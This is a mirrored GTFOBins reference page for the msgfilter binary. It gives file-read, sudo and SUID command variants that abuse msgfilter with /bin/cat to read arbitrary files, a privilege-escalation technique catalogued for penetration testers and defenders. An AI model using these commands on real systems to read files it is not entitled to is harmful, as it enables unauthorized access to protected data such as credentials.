1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-19 02:11:39 +02:00
GTFOBins.github.io/_gtfobins/msgfilter.md

17 lines
496 B
Markdown
Raw Normal View History

2021-06-04 09:23:53 +02:00
---
description: The file is parsed and displayed as a Java `.properties` file, so this may not be suitable to read arbitrary binary data. `/bin/cat` can be replaced with any other *filter* program.
functions:
file-read:
- code: |
LFILE=file_to_read
msgfilter -P -i "LFILE" /bin/cat
sudo:
- code: |
LFILE=file_to_read
sudo msgfilter -P -i "LFILE" /bin/cat
suid:
- code: |
LFILE=file_to_read
./msgfilter -P -i "LFILE" /bin/cat
---